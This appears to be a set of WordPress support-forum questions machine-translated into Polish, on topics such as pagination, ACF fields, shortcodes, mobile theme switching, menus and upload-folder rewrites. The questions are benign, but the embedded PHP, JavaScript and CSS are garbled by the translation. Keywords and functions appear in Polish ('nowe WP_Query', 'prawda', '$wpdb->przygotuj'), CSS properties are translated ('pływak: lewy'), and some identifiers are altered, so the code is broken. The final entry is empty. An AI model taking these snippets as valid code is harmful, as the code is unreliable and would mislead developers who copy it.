title: Jak stworzyć stronę główną wyboru języka?

text: Mam projekt, który potrzebuje strony domowej podobnej do tej. Wiem, że istnieje wiele wielojęzycznych wtyczek. Oto dokładnie to, czego potrzebuję: if isHomepage i noLanguageSeleted pokaż stronę wyboru else pokazują rzeczywistą zawartość strony w języku sleeted. pokaż wszystkie linki i menu w wybranym języku. Jak i za pomocą jakiej wtyczki byś to osiągnął? Dziękuję!


title: Uzyskaj wszystkie pola, w tym kolumny „ACF” (Zaawansowane pola niestandardowe) w wp_query

text: Kiedy pobieram posty za pomocą wp_query, jak sprawić, by pętla zawierała pola acf? $args = array( 'post_type' => $postTypes, 'posts_per_page' => $numPosts, 'offset' => $offset, 'meta_query' => $filterArgs ); $pętla = nowe WP_Query( $args ); $postTypes to tablica, którą wypełniłem wcześniej, zawierająca "post", "page" itp. cokolwiek potrzebuję. Pętla będzie zawierać tylko „standardowe” kolumny WP, takie jak post_content i tak dalej.


title: Wyświetlaj komentarze użytkowników na jednej stronie

text: Nie wiem, czy potrafię to wyjaśnić.. Chcę utworzyć stronę, na której znajdują się komentarze określonego użytkownika. lubię ten format... ## Nazwa użytkownika Post Tilte - skomentuj - skomentuj - skomentuj Post Tilte - skomentuj - skomentuj - komentuj dobrze, nie wyglądam dokładnie w tym formacie, ale chcę coś podobnego. Mam już stronę, na której znajdują się wszystkie posty określonego użytkownika, teraz tym razem chcę listę komentarzy. Czy to jest możliwe? A może jest jakaś dostępna wtyczka, która może zapewnić mi tę funkcję? Wszelkie odpowiedzi lub zalecenia będą mile widziane. Dziękuję :)


title: add_post_meta wyświetla się w obszarze edycji administratora

text: Używam prostego sposobu na add_post_meta() do wp_insert_post(). Wszystko działa poprawnie, z wyjątkiem tego, że moje pole meta nie pojawia się w obszarze administracyjnym. Czy jest na to prosty sposób? <?php $warunek = $_POST['warunek']; // biorę pole z mojego formularza i przekazuję je do zmiennej $pid = wp_insert_post($new_post); // $new_post to tablica z moimi argumentami add_post_meta($pid, 'warunek', $warunek, prawda); // Następnie mogę wyświetlić moje pole meta w poście za pomocą echo get_post_meta( get_the_ID() , 'condition', true );


title: Pętla strony głównej z problemem stronicowania

text: Użyłem pętli do wyświetlania postów z określonych kategorii, a następnie dodałem kod wtyczki WP_Paginate pod tą pętlą ... pod moimi postami widzę linki do stronicowania od 1 --> 5 , jednak po naciśnięciu strony 2 strona pokazuje starsze posty, ale kiedy naciskam stronę 3 lub 4 lub 5 nic nie pokazuje ! po prostu pusty div . Próbowałem innych wtyczek i wszystkie pokazują te same liczby stronicowania i zachowanie. oto kod, którego użyłem $paged = (get_query_var('paged')) ? get_query_var('stronicowane') : 1; $args=array( 'post_type'=>'post', 'cat' => 3,4,7, 'posts_per_page' => 10, 'paged'=>$paged ); $temp = $wp_query; $wp_query= null; $wp_query = nowe WP_Query($args); if ( $wp_query->have_posts() ) : while ( $wp_query->have_posts() ) : $wp_query->the_post(); ?> (TREŚĆ TUTAJ) <?php endwhile; endif; ?> <?php } ?> <?php if(function_exists('wp_paginate')) { wp_paginate(); } ?>


title: Używając $wpdb we wtyczce, jaki rodzaj danych zwraca?

text: Mam następujący kod: <?php $q = intval($_GET['q']); globalny $wpdb; $mojaopcja = get_option( 'fixformdata_options' ); $myoptionValue = może_unserialize( $mojaopcja ); $result2 = $wpdb->get_row ( $wpdb->przygotuj ( "SELECT * FROM {$myoptionValue['tablename']} WHERE personeelsNummer = %d", $q) ); if($wynik2) { echo json_encode($wynik2 ); } ?> Otrzymuję następujący błąd: SyntaxError: JSON.parse: nieoczekiwany znak w wierszu 1 kolumna 1 danych JSON var parsed = JSON.parse(response); Wygląda na to, że coś jest nie tak ze zwróconymi danymi, ale nie wiem co... Pomoc bardzo wdzięczna!


title: Jak dodać zagnieżdżony shortcode do edytora?

text:
Chcę utworzyć krótki kod akordeonowy dla wordpress, a kod HTML powinien wyglądać tak:

sadegh

Aby usunąć komentarz, zaloguj się i wyświetl komentarze do wpisu. Tam będziesz mieć możliwość ich edycji lub usunięcia.

sadegh

Aby usunąć komentarz, po prostu zaloguj się i przejrzyj komentarze do wpisu. Tam będziesz mieć możliwość ich edycji lub usunięcia.

sadegh

Aby usunąć komentarz, po prostu zaloguj się i przejrzyj komentarze do wpisu. Tam będziesz mieć możliwość ich edycji lub usunięcia.

sadegh

Aby usunąć komentarz, po prostu zaloguj się i przejrzyj komentarze do wpisu. Tam będziesz mieć możliwość ich edycji lub usunięcia.

sadegh

Aby usunąć komentarz, po prostu zaloguj się i przejrzyj komentarze do wpisu. Tam będziesz miał możliwość ich edycji lub usunięcia.

 W tym celu stworzyłem zagnieżdżony krótki kod z: function Acot($params, $content= null){ return '
'.$treść.'
'; } add_shortcode('Acot','Acot'); function Acotext($params, $content= null){ return'
'.$content.'
'; } add_shortcode('tekst_tekstowy',_tekst_tekstowy'); function Aco($params, $content=null){ return'
'.do_shortcode($content).'
'; } add_shortcode('aco','Aco'); function Acol($params, $content= null){ return'
'.do_shortcode($content).'
'; } add_shortcode('acol','Acol'); Chcę dodać zagnieżdżony shortcode do edytora za pomocą jednego przycisku. Czy jest to możliwe, a jeśli tak, to jak to osiągnąć?


title: Jak zoptymalizować przełączanie motywów w locie dla przeglądarek mobilnych?

text: Używam `switch_theme()` do przełączania się między domyślnymi i mobilnymi motywami dla moich odwiedzających w czasie rzeczywistym. Oto mój kod : // Pobierz agenta użytkownika $user_agent = $_SERVER['HTTP_USER_AGENT']; // Preg match dla przeglądarek mobilnych (dzięki uprzejmości: detectmobilebrowsers.com) $preg_match = preg_match( '/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec| hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|telefon|p(ixi |re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(przeglądarka|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i' ,$user_agent) || preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al (av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )| avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi| ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c |p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa| ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit| hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p| s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno| ipaq|iris|ja(t|v)a|jbro|jemu|urządzenia|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi) |lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)| mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| | o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5) |n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv )|oran|owg1 |p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck |rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600 |raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/| se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al |ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00| 10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\- |m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\- v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i', substr( $user_agent, 0, 4 ) ); // Jeśli użytkownik korzysta z przeglądarki mobilnej if( $preg_match ) { // Przełącz motyw switch_theme( 'theme_mobile' ); } // Else show default theme else { // Przełącz motyw switch_theme( 'theme_default' ); } Problem polega na tym, że czasami przełączanie nie działa, na przykład jestem w przeglądarce na komputerze, ale nadal przełącza się tak mobilnie. Podejrzewam, że ma to coś wspólnego z dużym natężeniem ruchu na stronie (ok. 100 odwiedzających online w dowolnym momencie). Czy istnieje sposób na zoptymalizowanie tego?


title: Jak mogę sprawić, by to niestandardowe menu działało?

text: Czy ktoś może udostępnić mi najłatwiejszy sposób przekonwertowania tego do pracy z wbudowaną obsługą menu Wordpress 3.0. Jak dotąd mam poprawnie działające menu topnav, ale trudno mi się wyświetlić subnav. Jak sprawić, by ten kod działał z domyślną instalacją Wordpress? Założyłem, że po dodaniu `<?php wp_nav_menu( array( 'sort_column' => 'menu_order', 'depth' => 0,'menu_class' => 'topnav', 'theme_location' => 'primary-menu' ) ) ; ?>` i zmiana subnav na podmenu w js i css. Żeby wszystko zadziałało. Co ja robię źle? Używam jquery 1.6.1 To jest oryginalny kod ze statycznej strony html. JS $(document).ready(function(){ $("ul.subnav").parent().append(""); //Pokazuje wyzwalacz rozwijany tylko przy włączonym js ( Dodaje pusty tag span po ul.subnav*) $("ul.topnav li span").click(function() { //Po kliknięciu wyzwalacza... //Kolejne zdarzenia są stosowane do samej podnawigacji (przesuwanie podnawigacji w górę i w dół) $(this).parent().find("ul.subnav").slideDown('fast').show(); //Opuść podnawigację po kliknięciu $(this).parent().hover (function() { }, function(){ $(this).parent().find("ul.subnav").slideUp('slow'); //Gdy mysz znajdzie się poza podnawigacją, przesuń ją z powrotem up }); //Następujące zdarzenia są stosowane do wyzwalacza (zdarzenia najechania na wyzwalacz) }).hover(function() { $(this).addClass("subhover"); //Po najechaniu kursorem dodaj klasę " subhover" }, function(){ //Po najechaniu kursorem $(this).removeClass("subhover"); //Po najechaniu kursorem usuń klasę "subhover" }); }); CSS ul.topnav { styl listy: brak; dopełnienie: 0px 0px; margines: -12px -11px 0; pływak: lewy; szerokość: 922px; tło: #222; rozmiar czcionki: 1.2em; tło: url(../images/topnav_bg.gif) repeat-x; } ul.topnav li { float: left; margines: 0; dopełnienie: 0 15px 0px 5px; pozycja: względna; /*--Zadeklaruj podstawę osi X i Y dla podrzędnej nawigacji--*/ } ul.topnav li a{ padding: 10px 0px 5px 10px; kolor: #fff; Blok wyświetlacza; dekoracja tekstu: brak; pływak: lewy; } ul.topnav li a:hover{ tło: url(../images/topnav_hover.gif) bez powtarzania na środku góra; } ul.topnav li span { /*--Rozwiń style wyzwalaczy--*/ width: 17px; wysokość: 35px; pływak: lewy; tło: url(../images/subnav_btn1.gif) bez powtarzania na środku u góry; } ul.topnav li span.subhover {pozycja w tle: środek bottombottom; kursor: wskaźnik;} /*--Efekt najechania na wyzwalacz--*/ ul.topnav li ul.subnav { styl listy: brak; pozycja: bezwzględna; /*--Ważne — Uniemożliwia subnav wpływ na główny przepływ nawigacji--*/ left: 0; góra: 35px; tło: #333; margines: 0; wypełnienie: 0; Nie wyświetla się; pływak: lewy; szerokość: 195px; obramowanie: 1px stałe #111; indeks z:500; } ul.topnav li ul.subnav li{ margines: 0; wypełnienie: 0; górna krawędź: 1px solid #252525; /*--Utwórz efekt skosu--*/ border-bottom: 1px solid #444; /*--Utwórz efekt fazowania--*/ clear: both; szerokość: 195px; } html ul.topnav li ul.subnav li a { float: left; szerokość: 170px; tło: #333 url(../images/dropdown_linkbg.gif) bez powtórzeń centrum 10px; dopełnienie lewe: 25px; rozmiar czcionki: 13px; } html ul.topnav li ul.subnav li a:hover { /*--Efekt najechania dla linków podrzędnych--*/ background: #222 url(../images/dropdown_linkbg.gif) bez powtórzeń 10px center; }


title: Jak przepisać folder przesyłania WordPress do innego folderu za pomocą htaccess

text: Odkryłem, że następujący kod online może zostać użyty do sfałszowania folderu przesyłania WordPressa, przepisywania adresów URL do innego folderu na serwerze: # BEGIN Spoof wp-content/uploads directory RedirectMatch 301 ^/uploads/(.*)$ https?: //twoja_strona.com/wp-content/uploads/$1 # KONIEC Fałszywy katalog wp-content/uploads Rozumiem, że na stronie ustawień multimediów „Pełna ścieżka do plików” musi wskazywać żądany folder fałszowania. Próbowałem użyć powyższego kodu, ale WordPress zgłasza błąd 404. Moje przesyłane pliki są uporządkowane według roku i miesiąca. Plik, który został przesłany i przetestowany, rzeczywiście istnieje na serwerze. Oto przykład konfiguracji struktury: Prawdziwa ścieżka folderu -> http://twojastrona.com/wp-content/uploads/2011/09/icon.jpg Sfałszowana ścieżka folderu -> http://twojastrona.com/uploads/ 2011/09/icon.jpg Moje pytanie: Czy jest coś nie tak z kodem przepisywania, co może prowadzić do błędu 404?


title: Przewijane reklamy? Widżet przewijania na żywo, nie losowy przy odświeżaniu

text: Mam bieżącą pracę, w której mój klient poprosił o rotację swoich "sponsorów" w widżecie paska bocznego. W tej chwili mam losowy widżet reklam, który losowo je obraca... Chciałem wiedzieć, czy istnieje wtyczka lub sposób na przesuwanie wielu reklam graficznych lub obracanie ich na żywo, gdy jesteś na stronie, a nie poprzez odświeżanie i losowy. Z góry dziękuję!


title: Czy można wyszukiwać według nazwiska autora z domyślną funkcją wyszukiwania WordPress?

text: Zdaję sobie sprawę, że ulepszanie funkcji wyszukiwania WordPressa to ogromna puszka robaków, ale JEDYNĄ dodatkową rzeczą, którą muszę zrobić, jest pokazywanie wyników, gdy szukam nazwiska autora. Na przykład, jeśli mamy autorkę o imieniu Katie Johnson i wyszukuję Katie, otrzymuję wyniki, w których jej nazwisko jest wymienione w TREŚCI, ale nie wyniki, które Opublikowała. Wydaje się, że jest to prosty problem, a jednak nie znalazłem jeszcze rozwiązania. Dziękuję.


title: Nazwa motywu przekazana do niektórych funkcji?

text: Używam motywu o nazwie **czujność** Zaczynam budować własne motywy i zauważyłem, że w wielu funkcjach nazwa motywu czujność zostanie przekazana do funkcji takich jak ta poniżej... <?php _e( 'Ten post jest chroniony hasłem. Wprowadź hasło, aby wyświetlić komentarze.', 'czujność' ); ?> Zauważ, że nazwa motywu jest przekazywana jako drugi parametr, próbuję dowiedzieć się dlaczego? Nie znalazłem jeszcze nic wspierającego to w dokumentach?


title: Czy jest to najskuteczniejszy sposób na dodawanie plików JavaScript?

text: Obecnie przepisuję szablon HTML na motyw Wordpress. Ma wiele zależności kodu i zastanawiam się, czy jest to właściwy, najbardziej wydajny sposób, aby go dodać. Ten kod jest wymieniony w moim pliku functions.php. //Załaduj JavaScript if (!is_admin()) add_action("wp_enqueue_scripts", "my_scripts"); function my_scripts() { wp_register_script('easytabs', get_template_directory_uri() .'/js/jquery.easytabs.min.js', array('jquery'), null, true); wp_register_script('respond', get_template_directory_uri() . '/js/respond.min.js', false, null, true); wp_register_script('adipoli', get_template_directory_uri() . '/js/jquery.adipoli.min.js', array('jquery'), null, true); wp_register_script('fancybox', get_template_directory_uri() . '/js/jquery.fancybox-1.3.4.pack.js', array('jquery'), null, true); wp_register_script('isotope', get_template_directory_uri() . '/js/jquery.isotope.min.js', array('jquery'), null, true); wp_register_script('gmaps_google', "http" . ($_SERVER['SERVER_PORT'] == 443 ? "s" : "") . "://maps.google.com/maps/api/js?sensor=false" , fałsz, null, prawda); wp_register_script('gmap', get_template_directory_uri() . '/js/jquery.gmap.min.js', array('gmaps_google'), null, true); wp_register_script('custom', get_template_directory_uri() . '/js/custom.js', array('gmap'), null, true); wp_enqueue_script('jquery'); wp_enqueue_script('easytabs'); wp_enqueue_script('odpowiedz'); wp_enqueue_script('adipoli'); wp_enqueue_script('fancybox'); wp_enqueue_script('izotop'); wp_enqueue_script('gmaps_google'); wp_enqueue_script('gmap'); wp_enqueue_script('niestandardowy'); }


title: Usuń dostęp użytkowników do pulpitu nawigacyjnego

text: O ile wiem, widżety w kokpicie można usunąć, ale chcę zapytać, czy jest możliwe całkowite usunięcie dostępu do kokpitu i zezwolenie na dostęp tylko do strony post-new.php? Dziękuję.


title: Jak uruchomić funkcję na stronie opcji wtyczki?

text: Piszę wtyczkę, która synchronizuje dane z usługi innej firmy z niestandardowymi typami postów w wordpressie za pośrednictwem protokołu HTTP/SOAP. Będzie opcja uruchamiania go w odstępach czasu (za pomocą funkcji wP_cron), ale chcę również dołączyć przycisk „Synchronizuj”, aby móc ręcznie pobierać lub aktualizować dane bez konieczności czekania na kolejne uruchomienie crona. Mam stronę opcji dla ustawień strony wtyczki za pomocą interfejsu API ustawień Wordpress, który działa ładnie. ### W idealnej sytuacji chciałbym, aby tak się stało: 1. Po kliknięciu przycisku „Synchronizuj teraz” uruchamiana jest funkcja php z pliku php głównej wtyczki (połączenie z usługą innej firmy i synchronizacja danych) 2 Po uruchomieniu tej funkcji zwraca informacje o tym, co zostało zsynchronizowane 3. Informacje te są wyświetlane w oknie alertu lub panelu, aby poinformować użytkownika o tym, co zostało zsynchronizowane i czy coś poszło nie tak. Z jakiegoś powodu nie mogę sobie wyobrazić, jak to powinno działać. ### Oto kilka rzeczy, których próbowałem: * Działa sama funkcja synchronizacji. Dodałem tymczasowe pole wyboru o nazwie „Synchronizuj teraz” do formularza ustawień i wywołałem funkcję aktualizacji jako wywołanie zwrotne podczas rejestrowania tego konkretnego ustawienia (`register_setting()`), ale uruchomi ona tę funkcję niezależnie od wartości pola wyboru. `register_setting( 'my_plugin_settings', 'sync_now_option', 'syncNowFunction');` * Gdy mam osobny formularz niż ten wygenerowany przez Settings API na stronie, która ma tylko przycisk wywołujący GET do innego pliku php (nie główny plik php wtyczki), pojawia się błąd 500. Wygląda na to, że błąd 500 jest zgłaszany, jeśli w ogóle występuje jakikolwiek błąd. (Nie można znaleźć pliku dołączanego, funkcja nie została znaleziona.) Nie mogę użyć niczego poza waniliowym php lub zgłasza błąd 500. Próbowałem wywołać plik na kilka różnych sposobów, wszystkie z tymi samymi wynikami: * Odwiedzenie go pod adresem URL w przeglądarce * Posiadanie akcji formularza wskazującej na ten adres URL `<form method="GET" action="http://url. com/wp-content/plugins/my-plugin/sync.php"> <input type="submit" value="Synchronizuj teraz" />` ` * Używanie `.load()` i .`ajax()` w jQuery Wydaje się dziwne, że zgłasza błąd 500 bez względu na to, jaki wydaje się problem. * Próbowałem również użyć Ajax do załadowania funkcji bezpośrednio z głównego pliku wtyczki, ale bezskutecznie. Naprawdę nie mam nic przeciwko ponownemu załadowaniu strony, ale nie chcę, aby użytkownik był później przekierowywany na inną stronę. Jak mogę to osiągnąć?


title: Czy "show_option_all" w wp_list_categories coś robi?

text:
Więc mam ten kod: <?php wp_list_categories(array( 'show_option_all' => 'Wszystkie kategorie', 'orderby' => 'ID', 'zamówienie' => 'DESC', 'use_desc_for_title' => 0, 'child_of ' => 0, 'exclude' => '', 'exclude_tree' => '', 'include' => '', 'hierarchical' => 1, 'title_li' => NULL, 'show_option_none' => NULL, 'number' => NULL, 'taxonomy' => 'category' ));?> A pierwszy element, `show_option_all`, tworzy następujący link:
Wszystkie kategorie
 Oznacza to, że wywoływanie jest `index.php` lub `home.php`, kiedy chciałbym wywołać szablon `category.php`, gdzie oczekiwałbym go, aby utworzyć link, taki jak t jego:
Wszystkie kategorie
 Albo coś takiego. Czy czegoś mi brakuje?


title: Kierowanie strony na domyślną podstronę

text: Chciałbym wprowadzić na moim blogu WordPress nawigację według hierarchii stron za pomocą podstron. Czyli każda strona może mieć podstrony, ale chciałbym, żeby odwiedzający po kliknięciu w nagłówek strony został przekierowany na konkretną podstronę. Na przykład, powiedzmy, że moja hierarchia jest następująca: 1. Filmy 1.1 Ogólne 1.2 Westerny 1.3 Animowane 2. Muzyka 2.1 Ogólne 2.2 Klasyczne 2.3 Kraj Chcę, aby po kliknięciu „Filmy” dotarł do „Filmy/Ogólne”. Czy można to osiągnąć za pomocą samych wtyczek? Jeśli nie, co jest wymagane?


title: Ustaw szerokość obrazu='x%' (procent szerokości, a nie szerokość w pikselach) po wstawieniu za pomocą menedżera multimediów?

text: Podczas przesyłania obrazów za pośrednictwem menedżera mediów dostępnych jest kilka zestawów rozmiarów, takich jak kciuk, średni i duży. Wiem, jak dodać dodatkowe rozmiary, ale jeszcze nie mam go, aby wstawić obraz o szerokości='x%'. koncepcja polega na tym, że buduję motyw adaptacyjny i nigdy nie chcę, aby wstawiony obraz był większy niż kontener, nawet po zmianie rozmiaru przeglądarki. Ręcznie edytując kod wstawionego obrazu, aby uwzględnić szerokości z %, działa dobrze. Jednak próba zwrócenia uwagi moich użytkowników na to jest wręcz niemożliwa. To, co chciałbym, to przycisk do wstawiania obrazu do postu z ustawionym % (procentem) zamiast ustawionej szerokości piksela. możliwy?


title: Sprawdź, czy dokument php jest wykonywany przez Wordpress czy bezpośrednio

text: Aktywne pliki PHP wtyczek są interpretowane automatycznie podczas przeglądania strony, postu, strony administratora itp. Mógłbym również uruchomić wtyczkę PHP bezpośrednio, gdybym znał w pełni kwalifikowany adres URL, jednak najprawdopodobniej spowoduje to błędy, ponieważ żadna z funkcji Wordpressa nie zostały uwzględnione. Jak mam sprawdzić, czy strona PHP z wtyczkami została uruchomiona przez Wordpress? Czy istnieje zmienna globalna, na której można bezpiecznie polegać?


title: Ustawienie lub wtyczka do wyświetlania podmenu poziomo pod menu głównym i zachowanie ich po zaznaczeniu

text: Hierarchia stron mojego bloga jest następująca: - Strona główna - Informacje - Filmy - - Ogólne - - Wszystkie filmy - - Zasady W tej chwili mam poziome menu z napisem `Strona główna | O | Filmy`, a jeśli najadę na Filmy, dostanę: Strona główna | O | >Filmy< | | Ogólne | | Wszystkie filmy | | Reguły Kiedy wybiorę, na przykład, `Ogólne`, menu powraca do `Strona główna | O | Filmy”. Chciałbym, aby menu rozwijane było poziome w następujący sposób: Strona główna | O | >Filmy< Ogólne | Wszystkie filmy | Zasady A jeśli wybiorę jedną ze stron podmenu, podmenu pozostanie tam z zaznaczonym zaznaczeniem. Na przykład, jeśli kliknę na `Wszystkie filmy`, menu pojawi się w następujący sposób (Znaki "<" służą do zilustrowania wyboru, nie należy ich używać dosłownie): Strona główna | O | >Filmy< Ogólne | >Wszystkie filmy< | Zasady Czy istnieje ustawienie lub wtyczka, które mogą mi w tym pomóc? Dla porównania, moja strona jest pod adresem http://roee.co


title: Wiele pól z wywołaniem zwrotnym add_settings_field

text: Mam stronę ustawień, na której tworzę interfejs użytkownika, który zmienia szerokości kolumn dla szablonu układu. Aby dostosować to na mojej stronie ustawień, używam `do_settings_fields` dla wyjścia i `add_settings_field` z funkcją zwrotną, która ma wiele pól. Moje pytanie brzmi: czy używanie jednego wywołania zwrotnego dla wielu pól ustawień jest złe? Wszystko działa dobrze, a to rozwiązanie jest dla mnie najłatwiejszym sposobem na osiągnięcie tego, czego potrzebuję.


title: Dodawanie różnych klas do różnych obrazów w zależności od rozmiaru w celu dokładnej kontroli układu obrazu w postach

text: Mam wszystkie klasy CSS ustawione do wyświetlania obrazów w niestandardowym motywie portfolio. Pozwalam, aby obrazy o różnych rozmiarach i proporcjach (krajobraz, portret itp.) były układane obok siebie i były responsywne (tak jak obrazy tutaj: http://studionudge.com/). Mój problem polega na tym, aby obrazy dołączone do postów (niestandardowy typ postu portfolio) wyświetlały się poprawnie w tych niestandardowych klasach. Zasadniczo nie wiem, jak uzyskać taki poziom kontroli nad obrazami. Chcę zrobić coś takiego, jak widać tutaj: http://www.northbounddesign.com/creativity-fluid/ Jeśli spojrzysz na źródło, wszystkie obrazy są częścią postu i są stylizowane w ramach kolumnowych divów, aby wyglądały ładne i responsywne, a div zawierający zależy od rozmiaru obrazu (więc obrazy o różnych rozmiarach wymagałyby różnych klas). Zastanawiam się, jak to zrobić. Czy uważasz, że obrazy zostały po prostu dodane do edytora WYSIWYG, a następnie sformatowane za pomocą edytora HTML? Czy istnieje bardziej przyjazny dla użytkownika, a może zautomatyzowany sposób, aby to zrobić? (Wyobrażam sobie oddzielne pola, do których można przesyłać obrazy o określonym rozmiarze lub coś w tym rodzaju.) Aby zadać to pytanie w inny sposób: zawartość tekstu jest kontrolowana za pomocą meta pól, aby zapewnić sobie dokładniejszą kontrolę nad układem, ale nie nie wiem, jak to zrobić z obrazami w Wordpress. Każda rada, która wskaże mi właściwy kierunek, byłaby pomocna. Przyjrzałem się stylizacji istniejącej galerii Wordpress, ale to nie daje mi wystarczającej kontroli nad poszczególnymi obrazami i nie rozwiązuje problemu, aby niektóre obrazy były w innej klasie niż inne. Zajrzałem do metaboxów, ale metaboxy wydają się lepiej pasować do kontrolowania zawartości tekstowej (czy istnieje metabox do przesłania jednego obrazu? Myślę, że mógłbym z tym pracować.) Zajrzałem do wtyczek, ale większość z nich to wtyczki galerii, które wyświetlaj miniatury obrazów o jednolitym rozmiarze.


title: Wzór identyfikatora posta?

text: Każdy post ma identyfikator i chciałbym wiedzieć, w jaki sposób zostały przydzielone. Czy istnieje wzór? Dlaczego identyfikator nie jest zwiększany o 1 za każdym postem? Byłoby prościej..Moje ID idą od 9867, do 9869, do 9864 itd.. Nie mogę znaleźć wzorca. Mógłbym użyć "The Loop", ale robię to z innej strony. Chcę dołączyć ostatnie 30 postów mojej witryny Wordpress, więc muszę znaleźć wzór w adresie URL, aby uzyskać ostatnie 30 postów.


title: Zaczep przed wstawieniem użytkownika do bazy danych

text: Pracuję nad stroną airsoftową używając woocommerce. Jedną z potrzeb mojego klienta jest uniemożliwienie użytkownikowi rejestracji, jeśli jego imię i nazwisko lub poczta znajdują się na czarnej liście (jeszcze nie wiem, czy użyję pliku csv, json, czy prostej tablicy). Więc muszę wykonać kilka walidacji przed wstawieniem użytkownika do bazy danych. Ale nie udało mi się znaleźć dobrego haka.


title: Komentarze_numer są wyświetlane poza określonym zakresem

text:
Chcę wyświetlić liczbę komentarzy w konkretnym poście, więc pomyślałem, że użyję comments_number, jednak kiedy to użyję, numer komentarza zostanie wydrukowany poza zakresem, w którym powinien się znajdować. Próbowałem też użyć get_comments_number, ale zamiast tego nic nie wyświetla. Poniższy kod został dodany do mojego functions.php między innymi, ale po prostu nie mogę uzyskać numeru komentarza do wyświetlenia wewnątrz zakresu - po prostu jest drukowany na górze strony. $content .= '
'.$data.''. comments_number() .'
';


title: Niestandardowa strona archiwum typu postów dla wielu typów postów

text: Cześć Pracuję nad stroną archiwum, której mogę używać do wielu niestandardowych typów postów. Muszę utworzyć zmienną w tablicy `$args`, która może zmienić nazwę na `post_type` na podstawie `<?php post_type_archive_title(); ?>` Więc coś takiego: <?php $post_type = post_type_archive_title(); $args = array( 'post_type' => $post_type, 'orderby' => 'title', 'order' => 'ASC', 'caller_get_posts' => 1, 'posts_per_page' => 20, ); zapytanie_posty($args); ?> Ale to nie działa. Czy ktoś wie, jak mogę to naprawić?


title: jak zdefiniować ostatnią klasę pętli kategorii w trzeciej?

text:
![tutaj wpisz opis obrazu](http://i.stack.imgur.com/Y8jwi.jpg) na mojej stronie w pliku category.php używam listy produktów, pętla bloku produktu to , blok produktu , blok produktu , product-block ostatnia klasa bez marginesu, jak zdefiniować trzeci produkt "ostatnią klasę" w pętli kategorii? moja zawartość.php

<?php the_excerpt(); ?> <a href="<?php the_permalink(); ?>"><?php echo get_the_post_thumbnail($id, array(220,220)); ?>

 <a href="<?php the_permalink(); ?>" rel="zakładka"><?php the_title(); ?>

   Kup  45,00 USD

 muszę zdefiniować trzecią pozycję good_list catalog_goods ostatni mój plik category.php

 <?php if ( have_posts() ) : ?> <?php dwadzieściaeleven_content_nav( 'nav-powyżej' ); ?> <?php /* Uruchom pętlę */ ?> <?php while ( have_posts() ): the_post(); ?> <?php /* Dołącz szablon specyficzny dla Post-Format dla treści. * Jeśli chcesz przeciążyć to w motywie potomnym, dołącz plik * o nazwie content-___.php (gdzie ___ to nazwa formatu postu), który zostanie użyty w zamian. */ get_template_part( 'treść', get_post_format() ); ?> <?php koniec; ?>


title: Pokaż powiadomienie o buddypress w interfejsie

text: Mam stronę buddypress i chcę pokazać w interfejsie powiadomienie, które buddybar ma na zapleczu, ale tylko powiadomienie, a nie cały buddybar. w zasadzie ustawić powiadomienie jak Facebook .... jak mogę to zrobić?


title: Wtyczka - w tym zewnętrzny javascript wywołujący mapy google

text:
